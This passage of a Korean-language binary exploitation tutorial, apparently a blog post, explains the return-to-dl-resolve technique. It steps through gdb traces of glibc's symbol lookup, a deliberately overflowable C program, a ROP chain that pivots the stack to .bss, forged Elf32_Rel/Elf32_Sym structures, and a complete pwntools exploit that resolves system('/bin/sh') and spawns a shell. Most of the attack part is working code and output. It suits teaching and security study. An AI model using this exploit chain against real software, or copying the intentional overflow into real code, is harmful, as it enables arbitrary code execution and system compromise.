0x913 << 4 (0x913 * 16)= 0x9130 (offset)
gdb-peda$ ni 422 in dl-lookup.c gdb-peda$ ni 0xb7fe45f7 422 in dl-lookup.c gdb-peda$ x/i $eip => 0xb7fe45f7 <do_lookup_x+1591>: sub esi,DWORD PTR [edi+0x18c] gdb-peda$ i r edi edi 0xb7fd51b0 0xb7fd51b0 gdb-peda$ p/x 0xb7fd51b0 + 0x18c $10 = 0xb7fd533c gdb-peda$ x/wx 0xb7fd533c 0xb7fd533c: 0xb7e0a96c gdb-peda$ i r esi esi 0xb7e0cdb8 0xb7e0cdb8 gdb-peda$ p/x 0xb7e0cdb8 - 0xb7e0a96c $11 = 0x244c gdb-peda$ ni 423 in dl-lookup.c gdb-peda$ i r esi esi 0x244c 0x244c gdb-peda$ x/8i $eip => 0xb7fe45fd <do_lookup_x+1597>: push DWORD PTR [esp+0x18] 0xb7fe4601 <do_lookup_x+1601>: push DWORD PTR [esp+0x24] 0xb7fe4605 <do_lookup_x+1605>: push edi 0xb7fe4606 <do_lookup_x+1606>: push DWORD PTR [esp+0x28] 0xb7fe460a <do_lookup_x+1610>: sar esi,0x2 0xb7fe460d <do_lookup_x+1613>: mov eax,esi 0xb7fe460f <do_lookup_x+1615>: push esi 0xb7fe4610 <do_lookup_x+1616>: shl eax,0x4 gdb-peda$ b *0xb7fe460a Breakpoint 3 at 0xb7fe460a: file dl-lookup.c, line 422. gdb-peda$ c Continuing. Breakpoint 3, do_lookup_x (undef_name=undef_name@entry=0x804825d "write", new_hash=new_hash@entry=0x10a8b550, old_hash=old_hash@entry=0xbffff4c0, ref=0x804820c, result=0xbffff4c8, scope=0xb7fffa74, i=0x1, version=0xb7fd54a0, flags=0x1, skip=0x0, type_class=0x1, undef_map=0xb7fff918) at dl-lookup.c:422 422 in dl-lookup.c gdb-peda$ i r esi esi 0x244c 0x244c gdb-peda$ p/x 0x244c >> 2 $1 = 0x913 gdb-peda$ ni 423 in dl-lookup.c gdb-peda$ i r esi esi 0x913 0x913 gdb-peda$ ni 0xb7fe460f 423 in dl-lookup.c gdb-peda$ 0xb7fe4610 423 in dl-lookup.c gdb-peda$ x/i $eip => 0xb7fe4610 <do_lookup_x+1616>: shl eax,0x4 gdb-peda$ i r eax eax 0x913 0x913 gdb-peda$ p/x 0x913 << 4 $2 = 0x9130 gdb-peda$
앞에서 얻은 symidx 값을 이용하여 로드된 라이브러리 파일에서 찾고자하는 함수의 Elf32_Sym 구조체 정보를 가진 영역에 접근 할 수 있습니다.
libc의 .dynsym 영역은 0xb7e0cf28 입니다.
libc의 .dynsym 영역 offset : 0x3f28
libc의 시작 주소 : 0xb7e09000
"libc의 .dynsym 영역" + "symidx offset" = libc에서 찾고자 하는 함수의 Elf32_Sym 구조체 영역
0xb7e0cf28 + 0x9130 = 0xb7e16058
gdb-peda$ shell readelf -S /lib/i386-linux-gnu/libc-2.23.so There are 70 section headers, starting at offset 0x1b3784: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .note.gnu.build-i NOTE 00000174 000174 000024 00 A 0 0 4 [ 2] .note.ABI-tag NOTE 00000198 000198 000020 00 A 0 0 4 [ 3] .gnu.hash GNU_HASH 000001b8 0001b8 003d70 04 A 4 0 4 [ 4] .dynsym DYNSYM 00003f28 003f28 0096f0 10 A 5 1 4 [ 5] .dynstr STRTAB 0000d618 00d618 005e44 00 A 0 0 1 ... [69] .shstrtab STRTAB 00000000 1b32e5 00049f 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific) gdb-peda$ info proc map process 20290 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /home/lazenca0x0/Documents/rop 0x8049000 0x804a000 0x1000 0x0 /home/lazenca0x0/Documents/rop 0x804a000 0x804b000 0x1000 0x1000 /home/lazenca0x0/Documents/rop 0xb7e08000 0xb7e09000 0x1000 0x0 0xb7e09000 0xb7fb9000 0x1b0000 0x0 /lib/i386-linux-gnu/libc-2.23.so 0xb7fb9000 0xb7fbb000 0x2000 0x1af000 /lib/i386-linux-gnu/libc-2.23.so 0xb7fbb000 0xb7fbc000 0x1000 0x1b1000 /lib/i386-linux-gnu/libc-2.23.so 0xb7fbc000 0xb7fbf000 0x3000 0x0 0xb7fd5000 0xb7fd6000 0x1000 0x0 0xb7fd6000 0xb7fd9000 0x3000 0x0 [vvar] 0xb7fd9000 0xb7fdb000 0x2000 0x0 [vdso] 0xb7fdb000 0xb7ffe000 0x23000 0x0 /lib/i386-linux-gnu/ld-2.23.so 0xb7ffe000 0xb7fff000 0x1000 0x22000 /lib/i386-linux-gnu/ld-2.23.so 0xb7fff000 0xb8000000 0x1000 0x23000 /lib/i386-linux-gnu/ld-2.23.so 0xbffdf000 0xc0000000 0x21000 0x0 [stack] gdb-peda$ p/x 0xb7e09000 + 0x00003f28 $2 = 0xb7e0cf28 gdb-peda$ x/2wx 0xb7e0cf28 + 0x9130 0xb7e16058: 0x000013ff 0x000d5b70 gdb-peda$
- 다음과 같이 libc에서 write함수의 주소를 찾을 수 있습니다.
- libc에 저장된 write()함수의 Elf32_Sym 구조체 영역은 0xb7e16058입니다.
해당 구조체의 st_value 영역(0xb7e16058 + 0x4)에 저장된 값이 write() 함수의 offset(0xd5b70) 입니다.
- 다음과 같이 libc에 저장된 write()함수의 코드를 찾을 수 있습니다.
- libc의 시작 주소 + write() 함수의 offset = libc에 저장된 write() 함수의 코드 영역
0xb7e09000 + 0x000d5b70 = 0xb7edeb70
gdb-peda$ ni 0xb7fe4610 423 in dl-lookup.c gdb-peda$ x/i $eip 0xb7fe4613 <do_lookup_x+1619>: add eax,DWORD PTR [esp+0x28] gdb-peda$ i r esp esp 0xbffff3d4 0xbffff3d4 gdb-peda$ x/wx 0xbffff3d4 + 0x28 0xbffff3fc: 0xb7e0cf28 gdb-peda$ i r eax eax 0x9130 0x9130 gdb-peda$ x/2wx 0xb7e0cf28 + 0x9130 0xb7e16058: 0x000013ff 0x000d5b70 gdb-peda$ info proc map process 20580 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /home/lazenca0x0/Documents/rop 0x8049000 0x804a000 0x1000 0x0 /home/lazenca0x0/Documents/rop 0x804a000 0x804b000 0x1000 0x1000 /home/lazenca0x0/Documents/rop 0xb7e08000 0xb7e09000 0x1000 0x0 0xb7e09000 0xb7fb9000 0x1b0000 0x0 /lib/i386-linux-gnu/libc-2.23.so 0xb7fb9000 0xb7fbb000 0x2000 0x1af000 /lib/i386-linux-gnu/libc-2.23.so 0xb7fbb000 0xb7fbc000 0x1000 0x1b1000 /lib/i386-linux-gnu/libc-2.23.so 0xb7fbc000 0xb7fbf000 0x3000 0x0 0xb7fd5000 0xb7fd6000 0x1000 0x0 0xb7fd6000 0xb7fd9000 0x3000 0x0 [vvar] 0xb7fd9000 0xb7fdb000 0x2000 0x0 [vdso] 0xb7fdb000 0xb7ffe000 0x23000 0x0 /lib/i386-linux-gnu/ld-2.23.so 0xb7ffe000 0xb7fff000 0x1000 0x22000 /lib/i386-linux-gnu/ld-2.23.so 0xb7fff000 0xb8000000 0x1000 0x23000 /lib/i386-linux-gnu/ld-2.23.so 0xbffdf000 0xc0000000 0x21000 0x0 [stack] gdb-peda$ x/2i 0xb7e09000 + 0x000d5b70 0xb7edeb70 <write>: cmp DWORD PTR gs:0xc,0x0 0xb7edeb78 <write+8>: jne 0xb7edeba0 <write+48> gdb-peda$
Source code for _dl_runtime_resolve()
Proof of concept
Example code
//gcc -fno-stack-protector -o rop rop.c #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> void vuln(){ char buf[50]; read(0, buf, 512); } void main(){ write(1,"Hello ROP\n",10); vuln(); }
Overflow
- 다음과 같이 Breakpoints를 설정합니다.
0x0804843b : vuln 함수 코드 첫부분
0x0804844f : read() 함수 호출 전
lazenca0x0@ubuntu:~/Exploit/dl_resolve$ gdb -q ./rop Reading symbols from ./rop...(no debugging symbols found)...done. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x0804843b <+0>: push ebp 0x0804843c <+1>: mov ebp,esp 0x0804843e <+3>: sub esp,0x48 0x08048441 <+6>: sub esp,0x4 0x08048444 <+9>: push 0x200 0x08048449 <+14>: lea eax,[ebp-0x3a] 0x0804844c <+17>: push eax 0x0804844d <+18>: push 0x0 0x0804844f <+20>: call 0x8048300 <read@plt> 0x08048454 <+25>: add esp,0x10 0x08048457 <+28>: nop 0x08048458 <+29>: leave 0x08048459 <+30>: ret End of assembler dump. gdb-peda$ b *0x0804843b Breakpoint 1 at 0x804843b gdb-peda$ b *0x0804844f Breakpoint 2 at 0x804844f gdb-peda$
- 다음과 같이 Overflow를 확인할 수 있습니다.
Return address(0xbffff5cc) - buf 변수의 시작 주소 (0xbffff58e) = 62
- 즉, 62개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있습니다.
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/dl_resolve/rop Hello ROP Breakpoint 1, 0x0804843b in vuln () gdb-peda$ i r esp esp 0xbffff5cc 0xbffff5cc gdb-peda$ c Continuing. Breakpoint 2, 0x0804844f in vuln () gdb-peda$ x/3wx $esp 0xbffff570: 0x00000000 0xbffff58e 0x00000200 gdb-peda$ p/d 0xbffff5cc - 0xbffff58e $1 = 62 gdb-peda$
Exploit method
- ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
- ROP를 이용하여 ".bss" 영역에 새로운 Return-to-resolve 코드를 저장합니다.
fake_reloc_arg
- 호출할 함수의 인자 값
- Fake Elf32_Rel
- Fake Elf32_Sym
- 문자열 "system"
- ".bss"영역으로 이동하여 Return-to-resolve 코드를 실행합니다.
- 이를 코드로 표현하면 다음과 같습니다.
read(0,.bss + 0x300,100) _dl_runtime_resolve(struct link_map *l, fake_reloc_arg)
- payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
- Section Headers
- .bss
- .dynsym
- .dynstr
- .rel.plt
- read@plt , read@got 주소
- FAKE reloc_arg, Fake Elf32_Rel, Fake Elf32_Sym 구조체
Find Section Headers
- 다음과 같은 방식을 Section Headers를 찾을 수 있습니다.
lazenca0x0@ubuntu:~/Exploit/dl_resolve$ readelf -S ./rop There are 31 section headers, starting at offset 0x1810: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4 [ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4 [ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A 5 0 4 [ 5] .dynsym DYNSYM 080481cc 0001cc 000060 10 A 6 1 4 [ 6] .dynstr STRTAB 0804822c 00022c 000050 00 A 0 0 1 [ 7] .gnu.version VERSYM 0804827c 00027c 00000c 02 A 5 0 2 [ 8] .gnu.version_r VERNEED 08048288 000288 000020 00 A 6 1 4 [ 9] .rel.dyn REL 080482a8 0002a8 000008 08 A 5 0 4 [10] .rel.plt REL 080482b0 0002b0 000018 08 AI 5 24 4 [11] .init PROGBITS 080482c8 0002c8 000023 00 AX 0 0 4 [12] .plt PROGBITS 080482f0 0002f0 000040 04 AX 0 0 16 [13] .plt.got PROGBITS 08048330 000330 000008 00 AX 0 0 8 [14] .text PROGBITS 08048340 000340 0001b2 00 AX 0 0 16 [15] .fini PROGBITS 080484f4 0004f4 000014 00 AX 0 0 4 [16] .rodata PROGBITS 08048508 000508 000013 00 A 0 0 4 [17] .eh_frame_hdr PROGBITS 0804851c 00051c 000034 00 A 0 0 4 [18] .eh_frame PROGBITS 08048550 000550 0000ec 00 A 0 0 4 [19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4 [20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4 [21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4 [22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4 [23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4 [24] .got.plt PROGBITS 0804a000 001000 000018 04 WA 0 0 4 [25] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4 [26] .bss NOBITS 0804a020 001020 000004 00 WA 0 0 1 [27] .comment PROGBITS 00000000 001020 000034 01 MS 0 0 1 [28] .shstrtab STRTAB 00000000 001705 00010a 00 0 0 1 [29] .symtab SYMTAB 00000000 001054 000470 10 30 47 4 [30] .strtab STRTAB 00000000 0014c4 000241 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific) lazenca0x0@ubuntu:~/Exploit/dl_resolve$
from pwn import * from struct import * elf = ELF('./rop') # get section address addr_dynsym = elf.get_section_by_name('.dynsym').header['sh_addr'] addr_dynstr = elf.get_section_by_name('.dynstr').header['sh_addr'] addr_relplt = elf.get_section_by_name('.rel.plt').header['sh_addr'] addr_plt = elf.get_section_by_name('.plt').header['sh_addr'] addr_bss = elf.get_section_by_name('.bss').header['sh_addr'] addr_plt_read = elf.plt['read'] addr_got_read = elf.got['read'] log.info('Section Headers') log.info('.dynsym : ' + hex(addr_dynsym)) log.info('.dynstr : ' + hex(addr_dynstr)) log.info('.rel.plt : ' + hex(addr_relplt)) log.info('.plt : ' + hex(addr_plt)) log.info('.bss : ' + hex(addr_bss)) log.info('read@plt : ' + hex(addr_plt_read)) log.info('read@got : ' + hex(addr_got_read))
FAKE reloc_arg, Fake Elf32_Rel, Fake Elf32_Sym
다음과 같이 Fake 정보 영역을 확보합니다.
addr_fake_reloc 영역은 base_stage + 20 에 위치합니다.
- base_stage ~ base_stage + 20 영역에는 addr_plt, fake_reloc_offset, tmp date, addr_fake_cmd,등의 정보가 저장됩니다.
- addr_fake_sym 영역은 addr_fake_reloc 에 Elf32_Rel 구조체 크기(8)을 더한 곳에 위치 합니다.
addr_fake_symstr 영역은 addr_fake_sym 에서 Elf32_Sym 구조체 크기(16)를 더한 곳에 위치 합니다.
addr_fake_cmd 영역은 addr_fake_symstr 에서 문자열 "system\x00"(7)을 더한 곳에 위치 합니다.
- 다음과 같이 Fake Elf32_Rel, Fake Elf32_Sym에 필요한 정보를 생성합니다.
- addr_fake_reloc 값에서 addr_relplt 값을 빼서 fake_reloc_offset 값을 생성합니다.
fake_r_info 값은 다음과 같이 생성합니다.
- addr_fake_sym 값에서 addr_dynsym 값을 뺀값에 구조체의 크기(16)를 곱합니다.
- ELF32_R_TYPE 영역을 초기화 하기 위해 해당 값에 ~0xFF(-256)를 AND 연산합니다.
- ELF32_R_TYPE 값을 저장하기 위해 OR 연산을 이용하여 해당 영역에 0x7을 저장합니다.
- addr_fake_symstr 값에서 addr_dynstr 값을 빼서 fake_st_name 값을 생성합니다.
- addr_fake_reloc 값에서 addr_relplt 값을 빼서 fake_reloc_offset 값을 생성합니다.
stack_size = 0x300 base_stage = addr_bss + stack_size addr_fake_reloc = base_stage + 20 addr_fake_sym = addr_fake_reloc + 8 addr_fake_symstr = addr_fake_sym +16 addr_fake_cmd = addr_fake_symstr +7 fake_reloc_offset = addr_fake_reloc - addr_relplt fake_r_info = ((addr_fake_sym - addr_dynsym) * 16) & ~0xFF #FAKE ELF32_R_SYM fake_r_info = fake_r_info | 0x7 #FAKE ELF32_R_TYPE fake_st_name = addr_fake_symstr - addr_dynstr
Move to ".bss"(Change the value of the esp register)
- vuln()함수의 취약성을 이용해 ".bss" 영역에 2번째 ROP코드를 저장한 후에 ".bss" 영역으로 이동하기 위해 다음과 같은 ROP코드를 작성합니다.
- "pop ebp; ret" Gadget을 이용하여 base_stage 값을 ebp 레지스터에 저장합니다.
- "leave; ret" Gadget을 이용해 코드의 흐름을 Stack 영역에서 ".bss" 영역으로 변경됩니다.
- "leave; " 명령어에 의해 ebp 레지스터에 저장된 값을 esp에 저장됩니다.
- "ret;" 명령어에 의해 rsp 레지스터에 저장된 주소(Gadbase_stage + 0x4)로 이동합니다.
#read(0,base_stage,100) #jmp base_stage buf1 = 'A'* 62 buf1 += p32(addr_plt_read) buf1 += p32(addr_pop3) buf1 += p32(0) buf1 += p32(base_stage) buf1 += p32(100) buf1 += p32(addr_pop_ebp) buf1 += p32(base_stage) buf1 += p32(addr_leave_ret)
Return-to-dl-resolve
- ".bss" 영역에 다음과 같이 Data를 저장합니다.
buf2 = 'AAAA' buf2 += p32(addr_plt) buf2 += p32(fake_reloc_offset) buf2 += 'BBBB' #Argument of the function buf2 += p32(addr_fake_cmd) #Fake Elf32_Rel buf2 += p32(addr_got_read) buf2 += p32(fake_r_info) #Fake Elf32_Sym buf2 += p32(fake_st_name) buf2 += p32(0) buf2 += p32(0) buf2 += p32(0x12) #String "system" buf2 += 'system\x00' #String "/bin/sh" buf2 += '/bin/sh\x00'
Exploit code
from pwn import * from struct import * #context.log_level = 'debug' elf = ELF('./rop') # get section address addr_dynsym = elf.get_section_by_name('.dynsym').header['sh_addr'] addr_dynstr = elf.get_section_by_name('.dynstr').header['sh_addr'] addr_relplt = elf.get_section_by_name('.rel.plt').header['sh_addr'] addr_plt = elf.get_section_by_name('.plt').header['sh_addr'] addr_bss = elf.get_section_by_name('.bss').header['sh_addr'] addr_plt_read = elf.plt['read'] addr_got_read = elf.got['read'] log.info('Section Headers') log.info('.dynsym : ' + hex(addr_dynsym)) log.info('.dynstr : ' + hex(addr_dynstr)) log.info('.rel.plt : ' + hex(addr_relplt)) log.info('.plt : ' + hex(addr_plt)) log.info('.bss : ' + hex(addr_bss)) log.info('read@plt : ' + hex(addr_plt_read)) log.info('read@got : ' + hex(addr_got_read)) addr_pop3 = 0x080484e9 addr_pop_ebp = 0x080484eb addr_leave_ret = 0x080483a8 stack_size = 0x300 base_stage = addr_bss + stack_size #read(0,base_stage,100) #jmp base_stage buf1 = 'A'* 62 buf1 += p32(addr_plt_read) buf1 += p32(addr_pop3) buf1 += p32(0) buf1 += p32(base_stage) buf1 += p32(100) buf1 += p32(addr_pop_ebp) buf1 += p32(base_stage) buf1 += p32(addr_leave_ret) addr_fake_reloc = base_stage + 20 addr_fake_sym = addr_fake_reloc + 8 addr_fake_symstr = addr_fake_sym +16 addr_fake_cmd = addr_fake_symstr +7 fake_reloc_offset = addr_fake_reloc - addr_relplt fake_r_info = ((addr_fake_sym - addr_dynsym) * 16) & ~0xFF #FAKE ELF32_R_SYM fake_r_info = fake_r_info | 0x7 #FAKE ELF32_R_TYPE fake_st_name = addr_fake_symstr - addr_dynstr log.info('') log.info('Fake Struct Information') log.info('fake_reloc_offset : ' + hex(fake_reloc_offset)) log.info('addr_fake_cmd : ' + hex(addr_fake_cmd)) log.info('addr_got_read : ' + hex(addr_got_read)) log.info('fake_r_info : ' + hex(fake_r_info)) log.info('fake_st_name : ' + hex(fake_st_name)) #_dl_runtime_resolve(struct link_map *l, fake_reloc_arg) buf2 = 'AAAA' buf2 += p32(addr_plt) buf2 += p32(fake_reloc_offset) buf2 += 'BBBB' #Argument of the function buf2 += p32(addr_fake_cmd) #Fake Elf32_Rel buf2 += p32(addr_got_read) buf2 += p32(fake_r_info) #Fake Elf32_Sym buf2 += p32(fake_st_name) buf2 += p32(0) buf2 += p32(0) buf2 += p32(0x12) #String "system" buf2 += 'system\x00' #String "/bin/sh" buf2 += '/bin/sh\x00' binary = ELF(elf.path) p = process(binary.path) p.recvn(10) p.send(buf1) p.send(buf2) p.interactive()
lazenca0x0@ubuntu:~/Exploit/dl_resolve$ python exploit.py [!] Pwntools does not support 32-bit Python. Use a 64-bit release. [*] Checking for new versions of pwntools To disable this functionality, set the contents of /home/lazenca0x0/.pwntools-cache/update to 'never'. [*] You have the latest version of Pwntools (3.12.2) [*] '/home/lazenca0x0/Exploit/dl_resolve/rop' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [*] Section Headers [*] .dynsym : 0x80481cc [*] .dynstr : 0x804822c [*] .rel.plt : 0x80482b0 [*] .plt : 0x80482f0 [*] .bss : 0x804a020 [*] read@plt : 0x8048300 [*] read@got : 0x804a00c [*] [*] Fake Struct Information [*] fake_reloc_offset : 0x2084 [*] addr_fake_cmd : 0x804a353 [*] addr_got_read : 0x804a00c [*] fake_r_info : 0x21707 [*] fake_st_name : 0x2120 [+] Starting local process '/home/lazenca0x0/Exploit/dl_resolve/rop': pid 12887 [*] Switching to interactive mode $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $
References
- http://phrack.org/issues/58/4.html#article
- http://inaz2.hatenablog.com/entry/2014/07/15/023406
- http://rk700.github.io/2015/08/09/return-to-dl-resolve/
- https://gist.github.com/icchy/1b702fc56ec37844f711
- https://www.slideshare.net/AngelBoy1/re2dlresolve?ref=http://angelboy.logdown.com/posts/283218-return-to-dl-resolve
- https://veritas501.space/2017/10/07/ret2dl_resolve%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/
- https://www.da.vidbuchanan.co.uk/blog/0CTF-2018-babystack-ret2dlresolve.html
- http://www.inforsec.org/wp/?p=389
- https://www.usenix.org/sites/default/files/conference/protected-files/sec15_slides_difederico.pdf
- https://blog.csdn.net/conansonic/article/details/54634142
- http://inaz2.hatenablog.com/entry/2014/07/20/161106